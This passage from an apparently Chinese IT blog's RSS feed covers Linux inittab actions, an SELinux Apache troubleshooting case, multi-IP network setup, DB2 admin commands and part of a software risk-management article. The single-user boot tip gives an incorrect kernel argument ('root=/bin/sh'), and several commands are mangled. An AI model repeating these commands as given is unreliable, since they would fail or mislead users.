action：表示进入对应的runlevels时，init应该运行process字段的命令的方式，常用的字段值及解释在附录内。例子中的wait表示需要运行这个进程一次并等待其结束。<br><br>　　process：具体应该执行的命令。例子中的/etc/init.d/rc命令启动运行级别2中应该运行的进程/命令，并负责在退出运行级时将其终止（当然在进入的runlevel中仍要运行的程序除外。）<br><br>　　当运行级别改变，并且正在运行的程序并没有在新的运行级别中指定需要运行，那么init会先发送一个SIGTERM 信号终止，然后是SIGKILL.<br><br>　　有效的action值如下：respawn：表示init应该监视这个进程，即使其结束后也应该被重新启动。<br><br>　　wait：init应该运行这个进程一次，并等待其结束后再进行下一步操作。<br><br>　　once：init需要运行这个进程一次。<br><br>　　boot：随系统启动运行，所以runlevel值对其无效。<br><br>　　bootwait：随系统启动运行，并且init应该等待其结束。<br><br>　　off：没有任何意义。<br><br>　　initdefault：系统启动后的默认运行级别；由于进入相应的运行级别会激活对应级别的进程，所以对其指定process字段没有任何意义。如果inittab文件内不存在这一条记录，系统启动时在控制台上询问进入的运行级。<br><br>　　sysinit：系统启动时准备运行的命令。比如说，这个命令将清除/tmp.可以查看/etc/rc.d/rc.sysinit脚本了解其运行了那些操作。<br><br>　　powerwait：允许init在电源被切断时，关闭系统。当然前提是有U P S和监视U P S并通知init电源已被切断的软件。RH linux默认没有列出该选项。<br><br>　　powerfail：同powerwait，但init不会等待正在运行的进程结束。RH linux默认没有列出该选项。<br><br>　　powerokwait：当电源监视软件报告&#8220;电源恢复&#8221;时，init要执行的操作。<br><br>　　powerfailnow：检测到ups电源即将耗尽时，init要执行的操作，和powerwait/powerfail不同的哟。<br><br>　　ctrlaltdel：允许init在用户于控制台键盘上按下Ctrl + Alt + Del组合键时，重新启动系统。注意，如果该系统放在一个公共场所，系统管理员可将Ctrl + Alt + Del组合键配置为别的行为，比如忽略等。我是设置成打印一句骂人的话了^o^. kbrequest：监视到特定的键盘组合键被按下时采取的动作，现在还不完善。<br><br>　　ondemand：A process marked with an ondemand runlevel will be executed whenever the specified ondemand runlevel is called. However， no runlevel change will occur （ondemand runlevels are &#8216;a&#8217;， &#8216;b&#8217;，and &#8216;c&#8217;），（英语太菜，那个however不知道该怎么翻译才好。惭愧！）<br><br>　　补充：<br>　　<br>　　1、关于进入单用户模式，一般都是采用设置initdefault为1或者在grub/lilo中指定一个&#8220;single&#8221;或&#8220;emergency&#8221; 命令行参数来实现。其实另外还有一个更干净的方法，编辑：kernel /vmlinuz-2.6.9-22.EL ro root=/bin/sh，这样init就直接启动一个shell，其他任何进程都没有启动哦，够干净吧！<br><br>　　2、系统正在运行时，telinit命令可更改运行级别。运行级别发生变化时， init 就会从/etc/inittab运行相应的命令 
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/48492.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-08-28 22:03 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48492.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>RedHat SELinux系统简介及案例分析</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48491.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Thu, 28 Aug 2008 13:57:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48491.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/48491.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48491.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/48491.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/48491.html</trackback:ping><description><![CDATA[<p style="TEXT-INDENT: 2em">一、SELinux简介 </p>
<p style="TEXT-INDENT: 2em">RedHat Enterprise Linux AS 3.0/4.0中安全方面的最大变化就在于集成了SELinux的支持。 </p>
<p style="TEXT-INDENT: 2em">SELinux的全称是Security-Enhanced Linux，是由美国国家安全局NSA开发的访问控制体制。 </p>
<p style="TEXT-INDENT: 2em">SELinux可以最大限度地保证Linux系统的安全。至于它的作用到底有多大，举一个简单的例子可以证明： </p>
<p style="TEXT-INDENT: 2em">没有SELinux保护的Linux的安全级别和Windows一样，是C2级，但经过保护SELinux保护的Linux，安全级别 </p>
<p style="TEXT-INDENT: 2em">则可以达到B1级。如：我们把/tmp目录下的所有文件和目录权限设置为0777，这样在没有SELinux保护的情 </p>
<p style="TEXT-INDENT: 2em">况下，任何人都可以访问/tmp 下的内容。而在SELinux环境下，尽管目录权限允许你访问/tmp下的内容， </p>
<p style="TEXT-INDENT: 2em">但SELinux的安全策略会继续检查你是否可以访问。 </p>
<p style="TEXT-INDENT: 2em">NSA推出的SELinux安全体系结构称为 Flask，在这一结构中，安全性策略的逻辑和通用接口一起封装在与 </p>
<p style="TEXT-INDENT: 2em">操作系统独立的组件中，这个单独的组件称为安全服务器。SELinux的安全服务器定义了一种混合的安全性 </p>
<p style="TEXT-INDENT: 2em">策略，由类型实施 (TE)、基于角色的访问控制 (RBAC) 和多级安全(MLS) 组成。通过替换安全服务器，可 </p>
<p style="TEXT-INDENT: 2em">以支持不同的安全策略。SELinux使用策略配置语言定义安全策略，然后通过checkpolicy 编译成二进制形 </p>
<p style="TEXT-INDENT: 2em">式，存储在文件(如目标策略/etc/selinux/targeted/policy/policy.18)中，在内核引导时读到内核空间 </p>
<p style="TEXT-INDENT: 2em">。这意味着安全性策略在每次系统引导时都会有所不同。 </p>
<p style="TEXT-INDENT: 2em">SELinux的策略分为两种，一个是目标(targeted)策略，另一个是严格(strict)策略。有限策略仅针对部分 </p>
<p style="TEXT-INDENT: 2em">系统网络服务和进程执行SELinux策略，而严厉策略是执行全局的NSA默认策略。有限策略模式下，9个（可 </p>
<p style="TEXT-INDENT: 2em">能更多）系统服务受SELinux监控，几乎所有的网络服务都受控。 </p>
<p style="TEXT-INDENT: 2em">配置文件是/etc/selinux/config，一般测试过程中使用&#8220;permissive&#8221;模式，这样仅会在违反SELinux规 </p>
<p style="TEXT-INDENT: 2em">则时发出警告，然后修改规则，最后由用户觉得是否执行严格&#8220;enforcing&#8221;的策略，禁止违反规则策略的 </p>
<p style="TEXT-INDENT: 2em">行为。 </p>
<p style="TEXT-INDENT: 2em">规则决定SELinux的工作行为和方式，策略决定具体的安全细节如文件系统，文件一致性。 </p>
<p style="TEXT-INDENT: 2em">&nbsp;</p>
<p style="TEXT-INDENT: 2em">在安装过程中，可以选择&#8220;激活&#8221;、&#8220;警告&#8221;或者&#8220;关闭&#8221;SELinux。默认设置为&#8220;激活&#8221;。 </p>
<p style="TEXT-INDENT: 2em">安装之后，可以在&#8220;应用程序&#8221;--&gt;&#8220;系统设置&#8221;--&gt;&#8220;安全级别&#8221;，或者直接在控制台窗口输入&#8220;system </p>
<p style="TEXT-INDENT: 2em">-config- securitylevel&#8221;来打开&#8220;安全级别&#8221;设置窗口。在&#8220;SELinux&#8221;选项页中，我们不但可以设置&#8220; </p>
<p style="TEXT-INDENT: 2em">启用&#8221;或者&#8220;禁用&#8221;SELinux，而且还可以对已经内置的SELinux策略进行修改。 </p>
<p style="TEXT-INDENT: 2em">SELinux相关命令： </p>
<p style="TEXT-INDENT: 2em">ls -Z </p>
<p style="TEXT-INDENT: 2em">ps -Z </p>
<p style="TEXT-INDENT: 2em">id -Z </p>
<p style="TEXT-INDENT: 2em">分别可以看到文件,进程和用户的SELinux属性。 </p>
<p style="TEXT-INDENT: 2em">chcon 改变文件的SELinux属性。 </p>
<p style="TEXT-INDENT: 2em">getenforce/setenforce查看和设置SELinux的当前工作模式。 </p>
<p style="TEXT-INDENT: 2em">修改配置文件/etc/selinux/config后，需要重启系统来启动SELinux新的工作模式。 </p>
<p style="TEXT-INDENT: 2em">&nbsp;</p>
<p style="TEXT-INDENT: 2em">二、案例分析 </p>
<p style="TEXT-INDENT: 2em">Apache - "Document root must be a directory" 问题？ </p>
<p style="TEXT-INDENT: 2em">有可能和这个问题并发的问题还有 403 Forbidden　禁止访问的问题。 </p>
<p style="TEXT-INDENT: 2em">现象描述： </p>
<p style="TEXT-INDENT: 2em">不使用系统默认的 /var/www/html作为系统的Document Root，自己新建一个目录后修改 </p>
<p style="TEXT-INDENT: 2em">/etc/httpd/conf/httpd.conf 中的配置，然后重起Apache的Daemon，发现Apache无法起动，系统报错： </p>
<p style="TEXT-INDENT: 2em">　　Document root must be a directory </p>
<p style="TEXT-INDENT: 2em">但是，我们设置的DocumentRoot 的确是一个目录，而且apache用户具有可读权限。 </p>
<p style="TEXT-INDENT: 2em">另一种情况：新建一个虚拟目录或文件后，无法访问，显示 Forbidden, 403 Error，但文件或目录有可读 </p>
<p style="TEXT-INDENT: 2em">权限。 </p>
<p style="TEXT-INDENT: 2em">问题产生的原因： </p>
<p style="TEXT-INDENT: 2em">一开始想来想去想不出为什么，但是给我感觉是权限的问题，用传统的Linux的思维方式来看，权限绝对没 </p>
<p style="TEXT-INDENT: 2em">有问题。但是仔细一想，SELinux是不是会有其他安全的设定？ </p>
<p style="TEXT-INDENT: 2em">检查 avcmessage，查看 /var/log/messages文件，发现有类似以下内容的这样一段： </p>
<p style="TEXT-INDENT: 2em">Dec 24 17:54:59 hostname kernel: audit(1098222899.827:0): avc: </p>
<p style="TEXT-INDENT: 2em">denied{ getattr } forpid=19029 exe=/usr/sbin/httpd </p>
<p style="TEXT-INDENT: 2em">path=/var/www/html/about.html dev=dm-0 ino=373900 </p>
<p style="TEXT-INDENT: 2em">scontext=root:system_r:httpd_t tcontext=user_u:object_r:user_home_t </p>
<p style="TEXT-INDENT: 2em">tclass=file </p>
<p style="TEXT-INDENT: 2em">嘿嘿，问题找到了，果然是SELinux的新特性搞的鬼。我把目录或文件设成了user_home_t类型，因此 </p>
<p style="TEXT-INDENT: 2em">apache的进程没有权限，无法访问。针对Apache的进程所使用的SELinux target policy规定了apache的进 </p>
<p style="TEXT-INDENT: 2em">程只能访问httpd_sys_content_t类型的目录或文件。 </p>
<p style="TEXT-INDENT: 2em">解决办法： </p>
<p style="TEXT-INDENT: 2em">很简单，把目录或文件的策略类型改成 httpd_sys_content_t 就可以了。 </p>
<p style="TEXT-INDENT: 2em"># chcon -t httpd_sys_content_t [file_name | dir_name] </p>
<p style="TEXT-INDENT: 2em">然后可以用 ls -laZ 命令查看文件目录的策略类型</p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/48491.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-08-28 21:57 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48491.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在linux下配置一个网卡多个IP的方法</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48490.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Thu, 28 Aug 2008 13:51:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48490.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/48490.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48490.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/48490.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/48490.html</trackback:ping><description><![CDATA[<span style="FONT-SIZE: 12pt">第一种方法:<br>ifconfig eth0:1 192.168.5.129 netmask 255.255.255.0<br>然后,你用ifconfig,就会发现多了一个ip,但这个ip是暂时的,重启以后就不存在了<br><br>第二种方法<br></span><span style="FONT-SIZE: 12pt">cp /etc/sysconfig/network-script..s/ifcfg-eth0 /etc/sysconfig/network-script..s/ifcfg-eth0:2<br>vi </span><span style="FONT-SIZE: 12pt">/etc/sysconfig/network-script..s/ifcfg-eth0:2<br>将DEVICE=eth0&nbsp; 更改为DEVICE=eth0:2<br>更改一下ip<br>保存退出并重启网络就ok了.这条新加的ip是永久的,只要你不删掉它.<br><br><br></span><span style="FONT-SIZE: 12pt">在linux下配置多个网卡的方法:<br></span><span style="FONT-SIZE: 12pt">cp /etc/sysconfig/network-script..s/ifcfg-eth0 /etc/sysconfig/network-script..s/ifcfg-eth1<br>vi </span><span style="FONT-SIZE: 12pt">/etc/sysconfig/network-script..s/ifcfg-eth1<br>将DEVICE=eth0&nbsp; 更改为DEVICE=eth1<br>更改一下ip 等<br>保存退出并重启网络就ok了.<br></span>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/48490.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-08-28 21:51 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48490.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>DB2常用命令集</title><link>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32165.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Tue, 21 Aug 2007 13:33:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32165.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/32165.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32165.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/32165.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/32165.html</trackback:ping><description><![CDATA[<p>DB2常用命令集</p>
<p>*************************************************<br>　<br>关闭db2</p>
<p>db2stop 或</p>
<p>db2stop force。</p>
<p>在脚本中一般两个都写上，避免使用db2stop force命令，如：</p>
<p>db2stop</p>
<p>db2stop force</p>
<p>启动db2</p>
<p>db2start</p>
<p>创建数据库</p>
<p>db2 create db &lt;db name&gt;</p>
<p>或db2 create db using codeset GBK territory CN</p>
<p>删除数据库</p>
<p>执行此操作要小心。</p>
<p>db2 drop db &lt;db name&gt;</p>
<p>如果不能删除，断开所有数据库连接或者重启db2。</p>
<p>断开数据库连接</p>
<p>db2 force application all</p>
<p>连接数据库</p>
<p>db2 connect to &lt;db name&gt; user &lt;username&gt; using &lt;password&gt;</p>
<p>断开数据库连接</p>
<p>断开当前数据库连接：db2 connect reset</p>
<p>或者：db2 disconnect current</p>
<p>断开所有数据库的连接：db2 disconnect all</p>
<p>备份数据库</p>
<p>db2 backup db &lt;db name&gt; </p>
<p>备注：执行以上命令之前需要断开数据库连接</p>
<p>恢复数据库</p>
<p>db2 restore db &lt;source db name&gt;</p>
<p>导出数据文件</p>
<p>db2move &lt;db name&gt; export [-sn &lt;模式名称，一般为db2admin&gt;] [-tn&nbsp; &lt;表名，多个之间用逗号分隔&gt;]</p>
<p>导入数据文件</p>
<p>db2move &lt;db name&gt; import</p>
<p>列出数据库中所有db</p>
<p>db2 list db directory</p>
<p>进入db2命令环境</p>
<p>在&#8220;运行&#8221;中执行：db2cmd </p>
<p>获取db2数据库管理配置环境信息&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>
<p>db2 get dbm cfg</p>
<p>获取db2某个数据库数据库管理配置环境信息&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>
<p>db2 get db cfg for &lt;db name&gt;</p>
<p>或者：连接至某个数据库以后执行db2 get db cfg。</p>
<p>设置联合数据库为可用（默认联合数据库不可用）</p>
<p>db2 update dbm cfg using federated yes</p>
<p>更改db2日志空间的大小</p>
<p>备注：以下命令为了防止db2数据库过份使用硬盘空间而设，仅用于开发者自己机器上的db2，如果是服务器，则参数需要修改。</p>
<p>db2 UPDATE DB CFG FOR &lt;db name&gt; USING logretain OFF logprimary 3 logsecond 2 logfilsiz 25600;</p>
<p>如果页大小是4KB，则以上命令创建3个100M的日志文件，占用300MB硬盘空间。25600*4KB=102400KB。</p>
<p>创建临时表空间</p>
<p>DB2 CREATE USER TEMPORARY TABLESPACE STMASPACE PAGESIZE 32 K MANAGED BY DATABASE USING (FILE 'D:\DB2_TAB\STMASPACE.F1' 10000) EXTENTSIZE 256</p>
<p>获取数据库管理器的快照数据</p>
<p>db2 &#8211;v get snapshot for dbm</p>
<p>显示进行程号</p>
<p>db2 list applications show detail</p>
<p>调查错误</p>
<p>sqlcode:产品特定错误码；</p>
<p>sqlstate:DB2系列产品的公共错误码，符合ISO/ANSI 92SQL标准。</p>
<p>调查sqlcode : db2 ? sql1403n</p>
<p>调查sqlstate: db2 ? 08004</p>
<p>创建表空间</p>
<p>rem 创建缓冲池空间 8K</p>
<p>db2 connect to gather</p>
<p>db2 CREATE BUFFERPOOL STMABMP IMMEDIATE&nbsp; SIZE 25000 PAGESIZE 8K</p>
<p>&nbsp;创建表空间：STMA</p>
<p>&nbsp;必须确认路径正确</p>
<p>D:\DB2Container\Stma</p>
<p>db2 drop tablespace stma</p>
<p>db2 CREATE&nbsp; REGULAR TABLESPACE STMA PAGESIZE 8 K&nbsp; MANAGED BY SYSTEM&nbsp; USING ('D:\DB2Container\Stma' ) EXTENTSIZE 8 OVERHEAD 10.5 PREFETCHSIZE 8 TRANSFERRATE 0.14 BUFFERPOOL&nbsp; STMABMP&nbsp; DROPPED TABLE RECOVERY OFF</p>
<p>db2 connect reset</p>
<p>将暂挂的数据恢复到前滚状态</p>
<p>db2 ROLLFORWARD DATABASE TESTDB TO END OF LOGS AND COMPLETE NORETRIEVE</p>
<p>备份表空间</p>
<p>BACKUP DATABASE YNDC TABLESPACE ( USERSPACE1 ) TO "D:\temp" WITH 2 BUFFERS BUFFER 1024 PARALLELISM 1 WITHOUT PROMPTING</p>
<p>创建db2工具数据库</p>
<p>db2 create tools catalog systools create new database toolsdb</p>
<p>如何进行增量/差量备份</p>
<p>增量：上一次完整备份至本次备份之间增加的数据部分；</p>
<p>差量(delta)：上次备份以来（可能是完整备份、增量备份或者差量备份）至本次备份之间增加的数据部分；</p>
<p>更新所有表的统计信息</p>
<p>db2 -v connect to DB_NAME</p>
<p>db2 -v "select tbname, nleaf, nlevels, stats_timefrom sysibm.sysindexes"</p>
<p>db2 -v reorgchkupdate statistics on table all</p>
<p>db2 -v "select tbname, nleaf, nlevels, stats_timefrom sysibm.sysindexes"</p>
<p>db2 -v terminate</p>
<p>对一张表运行统计信息</p>
<p>db2 -v runstatson table TAB_NAMEand indexes all</p>
<p>查看是否对数据库执行了RUNSTATS</p>
<p>db2 -v "select tbname, nleaf, nlevels, stats_timefrom sysibm.sysindexes"</p>
<p>更改缓冲池的大小</p>
<p>缓冲池中，当syscat.bufferpools的npages是-1时，由数据库的配置参数bufferpage控制缓冲池的大小。</p>
<p>将npages的值更改为-1的命令：</p>
<p>db2 -v connect to DB_NAME</p>
<p>db2 -v select * from syscat.bufferpools</p>
<p>db2 -v alter bufferpoolIBMDEFAULTBP size -1</p>
<p>db2 -v connect reset</p>
<p>db2 -v terminate</p>
<p>更改数据库配置参数BufferPages的命令如下：</p>
<p>db2 -v update db cfgfor dbnameusing BUFFPAGE bigger_value</p>
<p>db2 -v terminate</p>
<p>查看数据库监视内容列表</p>
<p>db2 -v get monitor switches</p>
<p>打开某个数据库监视内容</p>
<p>db2 -v update monitor switches using bufferpoolon</p>
<p>获取数据库快照</p>
<p>db2 -v get snapshot for all databases &gt; snap.out</p>
<p>db2 -v get snapshot for dbm&gt;&gt; snap.out</p>
<p>db2 -v get snapshot for all bufferpools&gt;&gt; snap.out</p>
<p>db2 -v terminate</p>
<p>重置数据库快照</p>
<p>db2 -v reset monitor all</p>
<p>计算缓冲池命中率</p>
<p>理想情况下缓冲池命中率在95%以上，计算公式如下：</p>
<p>(1 -((buffer pool data physical reads + buffer pool index physical reads) /(buffer pool data logical reads + pool index logical reads))) *100%</p>
<p>&nbsp;创建db2实例</p>
<p>db2icrt &lt;实例名称&gt;</p>
<p>删除db2实例</p>
<p>db2idrop &lt;实例名称&gt;</p>
<p>设置当前db2实例</p>
<p>set db2intance=db2</p>
<p>&nbsp;显示db2拥有的实例</p>
<p>db2ilist</p>
<p>恢复离线增量备份数据库的命令</p>
<p>DB2 RESTORE DATABASE YNDC INCREMENTAL AUTOMATIC FROM D:\backup\autobak\db2 TAKEN AT 20060314232015</p>
<p>&nbsp;创建样本数据库</p>
<p>在unix平台，使用：sqllib/bin/db2sampl &lt;path&gt;</p>
<p>在windows,os/2平台，使用：db2sampl e,e是可选参数，指定将创建数据库的驱动器；</p>
<p>&nbsp;列出数据库中所有的表</p>
<p>db2 list tables</p>
<p>&nbsp;列出某个表的数据结构</p>
<p>db2 describe table v_ro_role</p>
<p>给表增加列</p>
<p>ALTER TABLE STAFF&nbsp; ADD COLUMN PNHONE VARCHAR(20)</p>
<p>数据迁移方法1</p>
<p>export脚本示例<br>db2 connect to testdb user test password test<br>db2 "export to aa1.ixf of ixf select * from table1"<br>db2 "export to aa2.ixf of ixf select * from table2"<br>db2 connect reset<br>import脚本示例<br>db2 connect to testdb user test password test<br>db2 "load from aa1.ixf of ixf&nbsp; replace into table1&nbsp; COPY NO&nbsp; without prompting "<br>db2 "load from aa2.ixf of ixf&nbsp; replace into table2&nbsp; COPY NO&nbsp; without prompting "<br>db2 connect reset<br></p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/32165.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2007-08-21 21:33 <a href="http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32165.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>软件开发项目过程中的风险管理研究</title><link>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32146.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Tue, 21 Aug 2007 07:20:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32146.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/32146.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32146.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/32146.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/32146.html</trackback:ping><description><![CDATA[&nbsp;
<table cellSpacing=0 cellPadding=0 width=535 border=0>
    <tbody>
        <tr>
            <td>
            <p align=center><strong><span>软件开发项目过程中的风险管理研究<span>[1]</span></span></strong></p>
            </td>
        </tr>
        <tr>
            <td>
            <p align=center>&nbsp;</p>
            <p align=left><span>软件项目风险是指在软件开发过程中遇到的预算和进度等方面的问题以及这些问题对软件项目的影响。软件项目风险会影响项目计划的实现，如果项目风险变成现实，就有可能影响项目的进度，增加项目的成本，甚至使软件项目不能实现。如果对项目进行风险管理，就可以最大限度的减少风险的发生。但是，目前国内的软件企业不太关心软件项目的风险管理，结果造成软件项目经常性的延期、超过预算，甚至失败。成功的项目管理一般都对项目风险进行了良好的管理。因此任何一个系统开发项目都应将风险管理作为软件项目管理的重要内容。<span> </span></span></p>
            <p align=left><span>　　在项目风险管理中，存在多种风险管理方法与工具，软件项目管理只有找出最适合自己的方法与工具并应用到风险管理中，才能尽量减少软件项目风险，促进项目的成功。</span></p>
            <p align=left><span>　　项目风险管理</span></p>
            <p align=left><span>　　项目风险管理是指为了最好的达到项目的目标，识别、分配、应对项目生命周期内风险的科学与艺术。项目风险管理的目标是使潜在机会或回报最大化，使潜在风险最小化。风险管理涉及的主要过程包括：风险识别，风险量化，风险应对计划制定和风险监控，如图<span>1</span>所示。风险识别在项目的开始时就要进行，并在项目执行中不断进行。就是说，在项目的整个生<span>?</span></span></p>
            </td>
        </tr>
    </tbody>
</table>
<p>&nbsp;</p>
<p><span>（<span>1</span>）需求风险<span> </span></span></p>
<p><span>　　<span>①</span>需求已经成为项目基准，但需求还在继续变化；</span></p>
<p><span>　　<span>②</span>需求定义欠佳，而进一步的定义会扩展项目范畴；</span></p>
<p><span>　　<span>③</span>添加额外的需求；</span></p>
<p><span>　　<span>④</span>产品定义含混的部分比预期需要更多的时间；</span></p>
<p><span>　　<span>⑤</span>在做需求中客户参与不够；</span></p>
<p><span>　　<span>⑥</span>缺少有效的需求变化管理过程。</span></p>
<p><span>　　（<span>2</span>）计划编制风险</span></p>
<p><span>　　<span>①</span>计划、资源和产品定义全凭客户或上层领导口头指令，并且不完全一致；</span></p>
<p><span>　　<span>②</span>计划是优化的，是<span>"</span>最佳状态<span>"</span>，但计划不现实，只能算是<span>"</span>期望状态<span>"</span>；</span></p>
<p><span>　　<span>③</span>计划基于使用特定的小组成员，而那个特定的小组成员其实指望不上；</span></p>
<p><span>　　<span>④</span>产品规模<span>(</span>代码行数、功能点、与前一产品规模的百分比<span>)</span>比估计的要大；</span></p>
<p><span>　　<span>⑤</span>完成目标日期提前，但没有相应地调整产品范围或可用资源；</span></p>
<p><span>　　<span>⑥</span>涉足不熟悉的产品领域，花费在设计和实现上的时间比预期的要多。</span></p>
<p><span>　　（<span>3</span>）组织和管理风险</span></p>
<p><span>　　<span>①</span>仅由管理层或市场人员进行技术决策，导致计划进度缓慢，计划时间延长；</span></p>
<p><span>　　<span>②</span>低效的项目组结构降低生产率；</span></p>
<p><span>　　<span>③</span>管理层审查决策的周期比预期的时间长；</span></p>
<p><span>　　<span>④</span>预算削减，打乱项目计划；</span></p>
<p><span>　　<span>⑤</span>管理层作出了打击项目组织积极性的决定；</span></p>
<p><span>　　<span>⑥</span>缺乏必要的规范，导致工作失误与重复工作；</span></p>
<p><span>　　<span>⑦</span>非技术的第三方的工作<span>(</span>预算批准、设备采购批准、法律方面的审查、安全保证等<span>)</span>时间比预期的延长。</span></p>
<p><span>　　（<span>4</span>）人员风险</span></p>
<p><span>　　<span>①</span>作为先决条件的任务<span>(</span>如培训及其他项目<span>)</span>不能按时完成；</span></p>
<p><span>　　<span>②</span>开发人员和管理层之间关系不佳，导致决策缓慢，影响全局；</span></p>
<p><span>　　<span>③</span>缺乏激励措施，士气低下，降低了生产能力；</span></p>
<p><span>　　<span>④</span>某些人员需要更多的时间适应还不熟悉的软件工具和环境；</span></p>
<p><span>　　<span>⑤</span>项目后期加入新的开发人员，需进行培训并逐渐与现有成员沟通，从而使现有成员的工作效率降低；</span></p>
<p><span>　　<span>⑥</span>由于项目组成员之间发生冲突，导致沟通不畅、设计欠佳、接口出现错误和额外的重复工作；</span></p>
<p><span>　　<span>⑦</span>不适应工作的成员没有调离项目组，影响了项目组其他成员的积极性；</span></p>
<p><span>　　<span>⑧</span>没有找到项目急需的具有特定技能的人。</span></p>
<p>&nbsp;</p>
<p><span>（<span>5</span>）开发环境风险<span> </span></span></p>
<p><span>　　<span>①</span>设施未及时到位；</span></p>
<p><span>　　<span>②</span>设施虽到位，但不配套，如没有电话、网线、办公用品等；</span></p>
<p><span>　　<span>③</span>设施拥挤、杂乱或者破损；</span></p>
<p><span>　　<span>④</span>开发工具未及时到位；</span></p>
<p><span>　　<span>⑤</span>开发工具不如期望的那样有效，开发人员需要时间创建工作环境或者切换新的工具；</span></p>
<p><span>　　<span>⑥</span>新的开发工具的学习期比预期的长，内容繁多。</span></p>
<p><span>　　（<span>6</span>）客户风险</span></p>
<p><span>　　<span>①</span>客户对于最后交付的产品不满意，要求重新设计和重做；</span></p>
<p><span>　　<span>②</span>客户的意见未被采纳，造成产品最终无法满足用户要求，因而必须重做；</span></p>
<p><span>　　<span>③</span>客户对规划、原型和规格的审核决策周期比预期的要长；</span></p>
<p><span>　　<span>④</span>客户没有或不能参与规划、原型和规格阶段的审核，导致需求不稳定和产品生产周期的变更；</span></p>
<p><span>　　<span>⑤</span>客户答复的时间<span>(</span>如回答或澄清与需求相关问题的时间<span>)</span>比预期长；</span></p>
<p><span>　　<span>⑥</span>客户提供的组件质量欠佳，导致额外的测试、设计和集成工作，以及额外的客户关系管理工作。</span></p>
<p><span>　　（<span>7</span>）产品风险</span></p>
<p><span>　　<span>①</span>矫正质量低下的不可接受的产品，需要比预期更多的测试、设计和实现工作；</span></p>
<p><span>　　<span>②</span>开发额外的不需要的功能<span>(</span>镀金<span>)</span>，延长了计划进度；</span></p>
<p><span>　　<span>③</span>严格要求与现有系统兼容，需要进行比预期更多的测试、设计和实现工作；</span></p>
<p><span>　　<span>④</span>要求与其他系统或不受本项目组控制的系统相连，导致无法预料的设计、实现和测试工作；</span></p>
<p><span>　　<span>⑤</span>在不熟悉或未经检验的软件和硬件环境中运行所产生的未预料到的问题；</span></p>
<p><span>　　<span>⑥</span>开发一种全新的模块将比预期花费更长的时间；</span></p>
<p><span>　　<span>⑦</span>依赖正在开发中的技术将延长计划进度。<span> </span></span></p>
<p><span>　　（<span>8</span>）设计和实现风险</span></p>
<p><span>　　<span>①</span>设计质量低下，导致重复设计；</span></p>
<span>　　</span><span>②</span><span>一些必要的功能无法使用现有的代码和库实现，开发人员必须使用新的库或者自行开发新的功能</span>
